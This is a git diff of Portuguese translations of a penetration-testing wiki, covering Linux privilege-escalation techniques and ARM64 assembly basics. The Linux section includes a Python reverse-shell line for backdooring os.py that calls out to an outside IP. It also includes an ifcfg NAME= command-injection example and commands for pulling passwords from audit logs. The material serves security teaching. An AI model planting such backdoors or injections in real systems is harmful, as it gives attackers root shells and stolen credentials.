explicado neste post: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). +Se você puder ler logs, talvez consiga encontrar **informações interessantes/confidenciais dentro deles**. Quanto mais estranho for o log, mais interessante ele será (provavelmente).\ +Além disso, alguns **mal configurados** (backdoored?) **audit logs** podem permitir que você **registre senhas** dentro dos audit logs como explicado neste post: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). ```bash aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g" grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ``` -Para **ler logs, o grupo** [**adm**](interesting-groups-linux-pe/index.html#adm-group) será realmente útil. +Para **ler logs, o grupo** [**adm**](interesting-groups-linux-pe/index.html#adm-group) será muito útil. -### Arquivos Shell +### Arquivos shell ```bash ~/.bash_profile # if it exists, read it once when you log in to the shell ~/.bash_login # if it exists, read it once if .bash_profile doesn't exist @@ -1321,59 +1330,59 @@ Para **ler logs, o grupo** [**adm**](interesting-groups-linux-pe/index.html#adm- ~/.zlogin #zsh shell ~/.zshrc #zsh shell ``` -### Busca genérica de Creds/Regex +### Generic Creds Search/Regex -Você também deve verificar arquivos que contenham a palavra "**password**" no **nome** ou dentro do **conteúdo**, e também checar por IPs e emails dentro de logs, ou hashes com regexps.\ -Não vou listar aqui como fazer tudo isso, mas se tiver interesse você pode checar as últimas verificações que [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) realiza. +Você também deve verificar arquivos que contenham a palavra "**password**" no **nome** ou dentro do **conteúdo**, e também verificar IPs e emails dentro de logs, ou hashes regexps.\ +Não vou listar aqui como fazer tudo isso, mas se estiver interessado você pode checar os últimos checks que [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) realiza. ## Arquivos graváveis ### Python library hijacking -Se você souber de **onde** um script python será executado e você **puder escrever dentro** dessa pasta ou **puder modificar python libraries**, você pode modificar a OS library e backdoorá-la (se você puder escrever onde o script python será executado, copie e cole a biblioteca os.py). +Se você souber **onde** um script python vai ser executado e você **puder escrever dentro** dessa pasta ou puder **modificar python libraries**, você pode modificar a biblioteca OS e backdoor it (se você puder escrever onde o script python será executado, copie e cole a biblioteca os.py). -Para **backdoor the library** basta adicionar ao final da biblioteca os.py a seguinte linha (mude IP e PORT): +Para **backdoor the library** basta adicionar ao final da biblioteca os.py a seguinte linha (troque IP e PORT): ```python import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); ``` ### Exploração do logrotate -Uma vulnerabilidade em `logrotate` permite que usuários com permissões de **escrita** em um arquivo de log ou nos diretórios pai potencialmente obtenham privilégios elevados. Isso ocorre porque o `logrotate`, frequentemente executado como **root**, pode ser manipulado para executar arquivos arbitrários, especialmente em diretórios como _**/etc/bash_completion.d/**_. É importante verificar permissões não apenas em _/var/log_ mas também em qualquer diretório onde a rotação de logs seja aplicada. +Uma vulnerabilidade em `logrotate` permite que usuários com **permissões de escrita** em um arquivo de log ou em seus diretórios pai potencialmente obtenham privilégios escalados. Isso ocorre porque `logrotate`, frequentemente executado como **root**, pode ser manipulado para executar arquivos arbitrários, especialmente em diretórios como _**/etc/bash_completion.d/**_. É importante checar permissões não apenas em _/var/log_ mas também em qualquer diretório onde a rotação de logs seja aplicada. > [!TIP] -> Essa vulnerabilidade afeta `logrotate` versão `3.18.0` e anteriores +> Esta vulnerabilidade afeta `logrotate` versão `3.18.0` e anteriores Mais informações detalhadas sobre a vulnerabilidade podem ser encontradas nesta página: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). -Você pode explorar essa vulnerabilidade com [**logrotten**](https://github.com/whotwagner/logrotten). +Você pode explorar esta vulnerabilidade com [**logrotten**](https://github.com/whotwagner/logrotten). -Essa vulnerabilidade é muito semelhante a [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** então sempre que você descobrir que pode alterar logs, verifique quem está gerenciando esses logs e se é possível escalar privilégios substituindo os logs por symlinks. +Esta vulnerabilidade é muito similar a [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** então sempre que você descobrir que pode alterar logs, verifique quem está gerenciando esses logs e se você pode escalar privilégios substituindo os logs por symlinks. ### /etc/sysconfig/network-scripts/ (Centos/Redhat) **Referência da vulnerabilidade:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) -Se, por qualquer motivo, um usuário conseguir **escrever** um script `ifcf-` em _/etc/sysconfig/network-scripts_ **ou** conseguir **ajustar** um já existente, então seu **sistema está pwned**. +Se, por qualquer motivo, um usuário for capaz de **escrever** um script `ifcf-` em _/etc/sysconfig/network-scripts_ **ou** puder **modificar** um existente, então seu **sistema está pwned**. -Os network scripts, _ifcg-eth0_ por exemplo, são usados para conexões de rede. Eles se parecem exatamente com arquivos .INI. Entretanto, eles são \~sourced\~ no Linux pelo Network Manager (dispatcher.d). +Network scripts, _ifcg-eth0_ por exemplo, são usados para conexões de rede. Eles se parecem exatamente com arquivos .INI. Contudo, eles são ~sourced~ no Linux pelo Network Manager (dispatcher.d). -No meu caso, o `NAME=` atribuído nesses network scripts não é tratado corretamente. Se você tiver **espaço em branco no nome, o sistema tenta executar a parte após o espaço em branco**. Isso significa que **tudo após o primeiro espaço em branco é executado como root**. +No meu caso, o atributo `NAME=` nesses network scripts não é tratado corretamente. Se você tiver **espaço em branco no nome o sistema tenta executar a parte após o espaço em branco**. Isso significa que **tudo após o primeiro espaço em branco é executado como root**. -For example: _/etc/sysconfig/network-scripts/ifcfg-1337_ +Por exemplo: _/etc/sysconfig/network-scripts/ifcfg-1337_ ```bash NAME=Network /bin/id ONBOOT=yes DEVICE=eth0 ``` -(_Observe o espaço em branco entre Network e /bin/id_) +(_Nota o espaço em branco entre Network e /bin/id_) ### **init, init.d, systemd e rc.d** -O diretório `/etc/init.d` abriga **scripts** do System V init (SysVinit), o **sistema clássico de gerenciamento de serviços do Linux**. Ele inclui scripts para `start`, `stop`, `restart` e às vezes `reload` de serviços. Estes podem ser executados diretamente ou através de links simbólicos encontrados em `/etc/rc?.d/`. Um caminho alternativo em sistemas Redhat é `/etc/rc.d/init.d`. +O diretório `/etc/init.d` abriga **scripts** para System V init (SysVinit), o **sistema clássico de gerenciamento de serviços do Linux**. Inclui scripts para `start`, `stop`, `restart`, e às vezes `reload` de serviços. Estes podem ser executados diretamente ou através de links simbólicos encontrados em `/etc/rc?.d/`. Um caminho alternativo em sistemas Redhat é `/etc/rc.d/init.d`. -Por outro lado, `/etc/init` está associado ao **Upstart**, um **gerenciador de serviços** mais recente introduzido pelo Ubuntu, que usa arquivos de configuração para tarefas de gerenciamento de serviços. Apesar da transição para o Upstart, os scripts do SysVinit ainda são utilizados junto com as configurações do Upstart devido a uma camada de compatibilidade no Upstart. +Por outro lado, `/etc/init` está associado ao **Upstart**, um **sistema de gerenciamento de serviços** mais recente introduzido pelo Ubuntu, que usa arquivos de configuração para tarefas de gerenciamento de serviços. Apesar da transição para o Upstart, scripts do SysVinit ainda são utilizados em conjunto com as configurações do Upstart devido a uma camada de compatibilidade no Upstart. -**systemd** surge como um gerenciador moderno de inicialização e serviços, oferecendo recursos avançados como inicialização on-demand de daemons, gerenciamento de automount e snapshots do estado do sistema. Ele organiza arquivos em `/usr/lib/systemd/` para pacotes de distribuição e `/etc/systemd/system/` para modificações do administrador, simplificando o processo de administração do sistema. +**systemd** surge como um gerenciador moderno de inicialização e serviços, oferecendo recursos avançados como inicialização on-demand de daemons, gerenciamento de automounts e snapshots do estado do sistema. Ele organiza arquivos em `/usr/lib/systemd/` para pacotes da distribuição e `/etc/systemd/system/` para modificações do administrador, simplificando o processo de administração do sistema. ## Outros Truques @@ -1400,25 +1409,25 @@ cisco-vmanage.md ## Android rooting frameworks: manager-channel abuse -Android rooting frameworks comumente hookam um syscall para expor funcionalidades privilegiadas do kernel a um manager em userspace. Autenticação fraca do manager (ex.: checagens de assinatura baseadas em FD-order ou esquemas de senha pobres) pode permitir que um app local se passe pelo manager e escale para root em dispositivos já com root. Saiba mais e detalhes de exploração aqui: +Android rooting frameworks comumente interceptam uma syscall para expor funcionalidades privilegiadas do kernel a um manager em userspace. Autenticação fraca do manager (por exemplo, verificações de assinatura baseadas em FD-order ou esquemas de senha fracos) pode permitir que um app local se passe pelo manager e aumente privilégios para root em dispositivos já rootados. Saiba mais e detalhes de exploração aqui: {{#ref}} android-rooting-frameworks-manager-auth-bypass-syscall-hook.md {{#endref}} -## Kernel Security Protections +## Proteções de Segurança do Kernel - [https://github.com/a13xp0p0v/kconfig-hardened-check](https://github.com/a13xp0p0v/kconfig-hardened-check) - [https://github.com/a13xp0p0v/linux-kernel-defence-map](https://github.com/a13xp0p0v/linux-kernel-defence-map) -## More help +## Mais ajuda [Static impacket binaries](https://github.com/ropnop/impacket_static_binaries) -## Ferramentas Linux/Unix Privesc +## Linux/Unix Privesc Tools -### **Melhor ferramenta para procurar Linux local privilege escalation vectors:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) +### **Melhor ferramenta para procurar vetores de local privilege escalation no Linux:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) **LinEnum**: [https://github.com/rebootuser/LinEnum](https://github.com/rebootuser/LinEnum)(-t option)\ **Enumy**: [https://github.com/luke-goddard/enumy](https://github.com/luke-goddard/enumy)\ @@ -1429,7 +1438,7 @@ android-rooting-frameworks-manager-auth-bypass-syscall-hook.md **Mestaploit:** _**multi/recon/local_exploit_suggester**_\ **Linux Exploit Suggester:** [https://github.com/mzet-/linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester)\ **EvilAbigail (acesso físico):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\ -**Recopilation of more scripts**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc) +**Recopilação de mais scripts**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc) ## Referências diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md index e0f5f97bb..309fe30d3 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md @@ -4,252 +4,255 @@ ## **Níveis de Exceção - EL (ARM64v8)** -Na arquitetura ARMv8, os níveis de execução, conhecidos como Níveis de Exceção (ELs), definem o nível de privilégio e as capacidades do ambiente de execução. Existem quatro níveis de exceção, variando de EL0 a EL3, cada um servindo a um propósito diferente: +Na arquitetura ARMv8, os níveis de execução, conhecidos como Exception Levels (ELs), definem o nível de privilégio e as capacidades do ambiente de execução. Existem quatro níveis de exceção, variando de EL0 a EL3, cada um servindo a um propósito diferente: -1. **EL0 - Modo de Usuário**: -- Este é o nível menos privilegiado e é usado para executar código de aplicativo regular. -- Aplicativos que rodam em EL0 são isolados uns dos outros e do software do sistema, aumentando a segurança e a estabilidade. -2. **EL1 - Modo do Kernel do Sistema Operacional**: +1. **EL0 - User Mode**: +- Este é o nível com menor privilégio e é usado para executar código de aplicações regulares. +- Aplicações executando em EL0 são isoladas umas das outras e do software do sistema, aumentando a segurança e a estabilidade. +2. **EL1 - Operating System Kernel Mode**: - A maioria dos kernels de sistemas operacionais roda neste nível. -- EL1 tem mais privilégios do que EL0 e pode acessar recursos do sistema, mas com algumas restrições para garantir a integridade do sistema. -3. **EL2 - Modo de Hipervisor**: -- Este nível é usado para virtualização. Um hipervisor rodando em EL2 pode gerenciar múltiplos sistemas operacionais (cada um em seu próprio EL1) rodando no mesmo hardware físico. +- EL1 tem mais privilégios que EL0 e pode acessar recursos do sistema, mas com algumas restrições para garantir a integridade do sistema. +3. **EL2 - Hypervisor Mode**: +- Esse nível é usado para virtualização. Um hypervisor rodando em EL2 pode gerenciar múltiplos sistemas operacionais (cada um em seu próprio EL1) rodando no mesmo hardware físico. - EL2 fornece recursos para isolamento e controle dos ambientes virtualizados. -4. **EL3 - Modo de Monitor Seguro**: -- Este é o nível mais privilegiado e é frequentemente usado para inicialização segura e ambientes de execução confiáveis. -- EL3 pode gerenciar e controlar acessos entre estados seguros e não seguros (como inicialização segura, OS confiável, etc.). +4. **EL3 - Secure Monitor Mode**: +- Este é o nível mais privilegiado e é frequentemente usado para secure boot e ambientes de execução confiáveis. +- EL3 pode gerenciar e controlar acessos entre estados secure e non-secure (como secure boot, trusted OS, etc.). -O uso desses níveis permite uma maneira estruturada e segura de gerenciar diferentes aspectos do sistema, desde aplicativos de usuário até o software do sistema mais privilegiado. A abordagem da ARMv8 em relação aos níveis de privilégio ajuda a isolar efetivamente diferentes componentes do sistema, aumentando assim a segurança e a robustez do sistema. +O uso desses níveis permite uma forma estruturada e segura de gerenciar diferentes aspectos do sistema, desde aplicações de usuário até o software de sistema mais privilegiado. A abordagem do ARMv8 para níveis de privilégio ajuda a isolar efetivamente diferentes componentes do sistema, aumentando a segurança e robustez do sistema. -## **Registradores (ARM64v8)** +## **Registros (ARM64v8)** -ARM64 possui **31 registradores de uso geral**, rotulados de `x0` a `x30`. Cada um pode armazenar um valor **64 bits** (8 bytes). Para operações que requerem apenas valores de 32 bits, os mesmos registradores podem ser acessados em um modo de 32 bits usando os nomes w0 a w30. +ARM64 tem **31 registradores de uso geral**, rotulados `x0` até `x30`. Cada um pode armazenar um valor **64-bit** (8 bytes). Para operações que requerem apenas 32 bits, os mesmos registradores podem ser acessados em modo 32-bit usando os nomes `w0` até `w30`. -1. **`x0`** a **`x7`** - Estes são tipicamente usados como registradores temporários e para passar parâmetros para sub-rotinas. -- **`x0`** também carrega os dados de retorno de uma função. -2. **`x8`** - No kernel do Linux, `x8` é usado como o número da chamada de sistema para a instrução `svc`. **No macOS, o x16 é o que é usado!** +1. **`x0`** a **`x7`** - Tipicamente usados como registradores temporários e para passar parâmetros para sub-rotinas. +- **`x0`** também carrega os dados de retorno de uma função +2. **`x8`** - No kernel do Linux, `x8` é usado como o número da system call para a instrução `svc`. **In macOS the x16 is the one used!** 3. **`x9`** a **`x15`** - Mais registradores temporários, frequentemente usados para variáveis locais. -4. **`x16`** e **`x17`** - **Registradores de Chamada Intra-procedural**. Registradores temporários para valores imediatos. Eles também são usados para chamadas de função indiretas e stubs da Tabela de Ligação de Procedimentos (PLT). -- **`x16`** é usado como o **número da chamada de sistema** para a instrução **`svc`** em **macOS**. -5. **`x18`** - **Registrador de Plataforma**. Pode ser usado como um registrador de uso geral, mas em algumas plataformas, este registrador é reservado para usos específicos da plataforma: Ponteiro para o bloco de ambiente de thread local no Windows, ou para apontar para a estrutura de tarefa atualmente **executando no kernel do Linux**. -6. **`x19`** a **`x28`** - Estes são registradores salvos pelo chamado. Uma função deve preservar os valores desses registradores para seu chamador, então eles são armazenados na pilha e recuperados antes de voltar para o chamador. -7. **`x29`** - **Ponteiro de Quadro** para acompanhar o quadro da pilha. Quando um novo quadro de pilha é criado porque uma função é chamada, o registrador **`x29`** é **armazenado na pilha** e o **novo** endereço do ponteiro de quadro é (**endereço `sp`**) **armazenado neste registrador**. -- Este registrador também pode ser usado como um **registrador de uso geral**, embora geralmente seja usado como referência para **variáveis locais**. -8. **`x30`** ou **`lr`** - **Registrador de Link**. Ele mantém o **endereço de retorno** quando uma instrução `BL` (Branch with Link) ou `BLR` (Branch with Link to Register) é executada, armazenando o valor de **`pc`** neste registrador. -- Ele também pode ser usado como qualquer outro registrador. -- Se a função atual for chamar uma nova função e, portanto, sobrescrever `lr`, ela o armazenará na pilha no início, este é o epílogo (`stp x29, x30 , [sp, #-48]; mov x29, sp` -> Armazenar `fp` e `lr`, gerar espaço e obter novo `fp`) e recuperá-lo no final, este é o prólogo (`ldp x29, x30, [sp], #48; ret` -> Recuperar `fp` e `lr` e retornar). -9. **`sp`** - **Ponteiro de Pilha**, usado para acompanhar o topo da pilha. -- O valor de **`sp`** deve sempre ser mantido em pelo menos um **alinhamento de quadword** ou uma exceção de alinhamento pode ocorrer. -10. **`pc`** - **Contador de Programa**, que aponta para a próxima instrução. Este registrador só pode ser atualizado através de gerações de exceção, retornos de exceção e branches. As únicas instruções ordinárias que podem ler este registrador são instruções de branch com link (BL, BLR) para armazenar o endereço de **`pc`** em **`lr`** (Registrador de Link). -11. **`xzr`** - **Registrador Zero**. Também chamado de **`wzr`** em sua forma de registrador **32** bits. Pode ser usado para obter o valor zero facilmente (operação comum) ou para realizar comparações usando **`subs`** como **`subs XZR, Xn, #10`** armazenando os dados resultantes em nenhum lugar (em **`xzr`**). +4. **`x16`** e **`x17`** - **Intra-procedural Call Registers**. Registradores temporários para valores imediatos. Também são usados para chamadas de função indiretas e stubs PLT (Procedure Linkage Table). +- **`x16`** é usado como o **system call number** para a instrução **`svc`** em **macOS**. +5. **`x18`** - **Platform register**. Pode ser usado como registrador de uso geral, mas em algumas plataformas este registrador é reservado para usos específicos da plataforma: ponteiro para o bloco de ambiente da thread atual no Windows, ou para apontar para a **executing task structure in linux kernel**. +6. **`x19`** a **`x28`** - São registradores preservados pelo callee. Uma função deve preservar os valores desses registradores para seu caller, então eles são armazenados na stack e recuperados antes de retornar ao caller. +7. **`x29`** - **Frame pointer** para rastrear o frame da stack. Quando um novo frame de stack é criado porque uma função é chamada, o registrador **`x29`** é **armazenado na stack** e o **novo** endereço do frame pointer (endereço de **`sp`**) é **armazenado neste registrador**. +- Este registrador também pode ser usado como registrador de uso geral embora normalmente seja usado como referência para **local variables**. +8. **`x30`** ou **`lr`** - **Link register**. Guarda o **endereço de retorno** quando uma instrução `BL` (Branch with Link) ou `BLR` (Branch with Link to Register) é executada, armazenando o valor do **`pc`** neste registrador. +- Também pode ser usado como qualquer outro registrador. +- Se a função atual for chamar uma nova função e portanto sobrescrever `lr`, ela irá armazená-lo na stack no início; isso é o epílogo (`stp x29, x30 , [sp, #-48]; mov x29, sp` -> Store `fp` and `lr`, generate space and get new `fp`) e recuperá-lo no final; isso é o prólogo (`ldp x29, x30, [sp], #48; ret` -> Recover `fp` and `lr` and return). +9. **`sp`** - **Stack pointer**, usado para rastrear o topo da stack. +- O valor de **`sp`** deve sempre ser mantido com pelo menos um **alinhamento de quadword** ou uma exceção de alinhamento pode ocorrer. +10. **`pc`** - **Program counter**, que aponta para a próxima instrução. Este registrador só pode ser atualizado através de geração de exceções, retornos de exceção e branches. As únicas instruções ordinárias que podem ler este registrador são as branch with link (BL, BLR) para armazenar o endereço do **`pc`** em **`lr`** (Link Register). +11. **`xzr`** - **Zero register**. Também chamado **`wzr`** em sua forma de registrador **32**-bit. Pode ser usado para obter facilmente o valor zero (operação comum) ou para realizar comparações usando **`subs`** como **`subs XZR, Xn, #10`** armazenando o resultado em lugar nenhum (em **`xzr`**). -Os registradores **`Wn`** são a versão **32 bits** do registrador **`Xn`**. +Os registradores **`Wn`** são a versão **32bit** do registrador **`Xn`**. -### Registradores SIMD e de Ponto Flutuante +> [!TIP] +> Os registradores de X0 a X18 são voláteis, o que significa que seus valores podem ser alterados por chamadas de função e interrupções. Entretanto, os registradores de X19 a X28 são não-voláteis, significando que seus valores devem ser preservados através de chamadas de função ("callee saved"). -Além disso, existem outros **32 registradores de 128 bits** que podem ser usados em operações otimizadas de múltiplos dados de instrução única (SIMD) e para realizar aritmética de ponto flutuante. Estes são chamados de registradores Vn, embora também possam operar em **64** bits, **32** bits, **16** bits e **8** bits e então são chamados de **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** e **`Bn`**. +### SIMD e Registradores de Ponto-Flutuante -### Registradores do Sistema +Além disso, existem outros **32 registradores de 128bit** que podem ser usados em operações SIMD (single instruction multiple data) otimizadas e para realizar aritmética de ponto-flutuante. Estes são chamados de registradores Vn embora também possam operar em **64**-bit, **32**-bit, **16**-bit e **8**-bit e então são chamados **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** e **`Bn`**. -**Existem centenas de registradores do sistema**, também chamados de registradores de propósito especial (SPRs), usados para **monitorar** e **controlar** o comportamento dos **processadores**.\ +### Registradores de Sistema + +**Existem centenas de registradores de sistema**, também chamados de special-purpose registers (SPRs), usados para **monitorar** e **controlar** o comportamento dos **processadores**.\ Eles só podem ser lidos ou configurados usando as instruções especiais dedicadas **`mrs`** e **`msr`**. -Os registradores especiais **`TPIDR_EL0`** e **`TPIDDR_EL0`** são comumente encontrados ao realizar engenharia reversa. O sufixo `EL0` indica a **exceção mínima** a partir da qual o registrador pode ser acessado (neste caso, EL0 é o nível de exceção regular (privilégio) com o qual programas regulares rodam).\ -Eles são frequentemente usados para armazenar o **endereço base da região de armazenamento local de thread** na memória. Geralmente, o primeiro é legível e gravável para programas que rodam em EL0, mas o segundo pode ser lido de EL0 e escrito de EL1 (como o kernel). +Os registradores especiais **`TPIDR_EL0`** e **`TPIDDR_EL0`** são comumente encontrados ao fazer reverse engineering. O sufixo `EL0` indica o **nível mínimo de exceção** a partir do qual o registrador pode ser acessado (neste caso EL0 é o nível de exceção regular em que programas normais rodam).\ +Eles são frequentemente usados para armazenar o **endereço base do thread-local storage** na memória. Normalmente o primeiro é legível e gravável por programas rodando em EL0, mas o segundo pode ser lido de EL0 e escrito a partir de EL1 (como o kernel). -- `mrs x0, TPIDR_EL0 ; Ler TPIDR_EL0 em x0` -- `msr TPIDR_EL0, X0 ; Escrever x0 em TPIDR_EL0` +- `mrs x0, TPIDR_EL0 ; Read TPIDR_EL0 into x0` +- `msr TPIDR_EL0, X0 ; Write x0 into TPIDR_EL0` ### **PSTATE** -**PSTATE** contém vários componentes do processo serializados no registrador especial visível pelo sistema operacional **`SPSR_ELx`**, sendo X o **nível de permissão** **da exceção acionada** (isso permite recuperar o estado do processo quando a exceção termina).\ +**PSTATE** contém vários componentes do processo serializados no registrador especial visível ao sistema operacional **`SPSR_ELx`**, sendo X o **nível de permissão da exceção disparada** (isso permite recuperar o estado do processo quando a exceção termina).\ Estes são os campos acessíveis:
- As flags de condição **`N`**, **`Z`**, **`C`** e **`V`**: -- **`N`** significa que a operação resultou em um resultado negativo. -- **`Z`** significa que a operação resultou em zero. -- **`C`** significa que a operação teve carry. -- **`V`** significa que a operação resultou em um overflow assinado: -- A soma de dois números positivos resulta em um número negativo. -- A soma de dois números negativos resulta em um número positivo. -- Na subtração, quando um número negativo grande é subtraído de um número positivo menor (ou vice-versa), e o resultado não pode ser representado dentro do intervalo do tamanho de bits dado. -- Obviamente, o processador não sabe se a operação é assinada ou não, então ele verificará C e V nas operações e indicará se ocorreu um carry no caso de ser assinado ou não assinado. +- **`N`** significa que a operação produziu um resultado negativo +- **`Z`** significa que a operação produziu zero +- **`C`** significa que a operação gerou carry +- **`V`** significa que a operação gerou um overflow em números com sinal: +- A soma de dois números positivos produz um resultado negativo. +- A soma de dois números negativos produz um resultado positivo. +- Na subtração, quando um grande número negativo é subtraído de um número positivo menor (ou vice-versa), e o resultado não pode ser representado dentro do intervalo do tamanho de bits dado. +- Obviamente o processador não sabe se a operação é com sinal ou não, então ele checará C e V nas operações e indicará se ocorreu um carry no caso de ser signed ou unsigned. > [!WARNING] -> Nem todas as instruções atualizam essas flags. Algumas como **`CMP`** ou **`TST`** o fazem, e outras que têm um sufixo s como **`ADDS`** também o fazem. +> Nem todas as instruções atualizam essas flags. Algumas como **`CMP`** ou **`TST`** o fazem, e outras que têm sufixo s como **`ADDS`** também o fazem. -- A flag de **largura do registrador atual (`nRW`)**: Se a flag tiver o valor 0, o programa será executado no estado de execução AArch64 uma vez retomado. -- O **Nível de Exceção** (**`EL`**): Um programa regular rodando em EL0 terá o valor 0. -- A flag de **passo único** (**`SS`**): Usada por depuradores para passo único, definindo a flag SS para 1 dentro de **`SPSR_ELx`** através de uma exceção. O programa executará um passo e emitirá uma exceção de passo único. -- A flag de estado de exceção **ilegal** (**`IL`**): É usada para marcar quando um software privilegiado realiza uma transferência de nível de exceção inválida, esta flag é definida como 1 e o processador aciona uma exceção de estado ilegal. -- As flags **`DAIF`**: Essas flags permitem que um programa privilegiado oculte seletivamente certas exceções externas. -- Se **`A`** for 1, significa que **aborts assíncronos** serão acionados. O **`I`** configura para responder a **Solicitações de Interrupção de Hardware** (IRQs). e o F está relacionado a **Solicitações de Interrupção Rápida** (FIRs). -- As flags de seleção do ponteiro de pilha (**`SPS`**): Programas privilegiados rodando em EL1 e acima podem alternar entre usar seu próprio registrador de ponteiro de pilha e o modelo de usuário (por exemplo, entre `SP_EL1` e `EL0`). Esta troca é realizada escrevendo no registrador especial **`SPSel`**. Isso não pode ser feito a partir de EL0. +- A flag de **largura atual do registrador (`nRW`)**: Se a flag tiver valor 0, o programa irá rodar no estado de execução AArch64 quando for retomado. +- O **Exception Level** atual (**`EL`**): Um programa regular rodando em EL0 terá o valor 0 +- A flag de **single stepping** (**`SS`**): Usada por debuggers para single step ao configurar a flag SS para 1 dentro de **`SPSR_ELx`** via uma exceção. O programa executará um passo e gerará uma exceção de single step. +- A flag de **estado de exceção ilegal** (**`IL`**): É usada para marcar quando um software privilegiado realiza uma transferência de nível de exceção inválida; essa flag é setada para 1 e o processador dispara uma illegal state exception. +- As flags **`DAIF`**: Essas flags permitem que um programa privilegiado mascare seletivamente certas exceções externas. +- Se **`A`** for 1 significa que **asynchronous aborts** serão acionados. O **`I`** configura a resposta a **Interrupt Requests** externos (IRQs). e o F está relacionado a **Fast Interrupt Requests** (FIRs). +- As flags de **seleção do stack pointer** (**`SPS`**): Programas privilegiados rodando em EL1 e acima podem alternar entre usar seu próprio registrador stack pointer e o do modo usuário (por exemplo, entre `SP_EL1` e `EL0`). Esta troca é realizada escrevendo no registrador especial **`SPSel`**. Isso não pode ser feito a partir de EL0. -## **Convenção de Chamada (ARM64v8)** +## **Calling Convention (ARM64v8)** -A convenção de chamada ARM64 especifica que os **primeiros oito parâmetros** para uma função são passados em registradores **`x0` a `x7`**. **Parâmetros adicionais** são passados na **pilha**. O **valor de retorno** é passado de volta no registrador **`x0`**, ou em **`x1`** também **se for 128 bits longo**. Os registradores **`x19`** a **`x30`** e **`sp`** devem ser **preservados** entre chamadas de função. +A calling convention do ARM64 especifica que os **oito primeiros parâmetros** para uma função são passados nos registradores **`x0` até `x7`**. Parâmetros **adicionais** são passados na **stack**. O valor de **retorno** é passado de volta no registrador **`x0`**, ou também em **`x1`** se for **128 bits**. Os registradores **`x19`** a **`x30`** e **`sp`** devem ser **preservados** através de chamadas de função. -Ao ler uma função em assembly, procure pelo **prólogo e epílogo da função**. O **prólogo** geralmente envolve **salvar o ponteiro de quadro (`x29`)**, **configurar** um **novo ponteiro de quadro**, e **alocar espaço na pilha**. O **epílogo** geralmente envolve **restaurar o ponteiro de quadro salvo** e **retornar** da função. +Ao ler uma função em assembly, procure pelo **prologue e epilogue da função**. O **prologue** geralmente envolve **salvar o frame pointer (`x29`)**, **configurar** um **novo frame pointer**, e **alocar espaço na stack**. O **epilogue** geralmente envolve **restaurar o frame pointer salvo** e **retornar** da função. -### Convenção de Chamada em Swift +### Calling Convention em Swift -Swift tem sua própria **convenção de chamada** que pode ser encontrada em [**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64) +Swift tem sua própria **calling convention** que pode ser encontrada em [**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64) ## **Instruções Comuns (ARM64v8)** -As instruções ARM64 geralmente têm o **formato `opcode dst, src1, src2`**, onde **`opcode`** é a **operação** a ser realizada (como `add`, `sub`, `mov`, etc.), **`dst`** é o **registrador de destino** onde o resultado será armazenado, e **`src1`** e **`src2`** são os **registradores de origem**. Valores imediatos também podem ser usados no lugar de registradores de origem. +Instruções ARM64 geralmente têm o **formato `opcode dst, src1, src2`**, onde **`opcode`** é a **operação** a ser realizada (como `add`, `sub`, `mov`, etc.), **`dst`** é o registrador de **destino** onde o resultado será armazenado, e **`src1`** e **`src2`** são os registradores **origem**. Valores imediatos também podem ser usados no lugar de registradores fonte. -- **`mov`**: **Mover** um valor de um **registrador** para outro. -- Exemplo: `mov x0, x1` — Isso move o valor de `x1` para `x0`. -- **`ldr`**: **Carregar** um valor da **memória** para um **registrador**. -- Exemplo: `ldr x0, [x1]` — Isso carrega um valor da localização de memória apontada por `x1` para `x0`. -- **Modo de deslocamento**: Um deslocamento que afeta o ponteiro de origem é indicado, por exemplo: -- `ldr x2, [x1, #8]`, isso carregará em x2 o valor de x1 + 8. -- `ldr x2, [x0, x1, lsl #2]`, isso carregará em x2 um objeto do array x0, da posição x1 (índice) \* 4. -- **Modo pré-indexado**: Isso aplicará cálculos à origem, obterá o resultado e também armazenará a nova origem na origem. -- `ldr x2, [x1, #8]!`, isso carregará `x1 + 8` em `x2` e armazenará 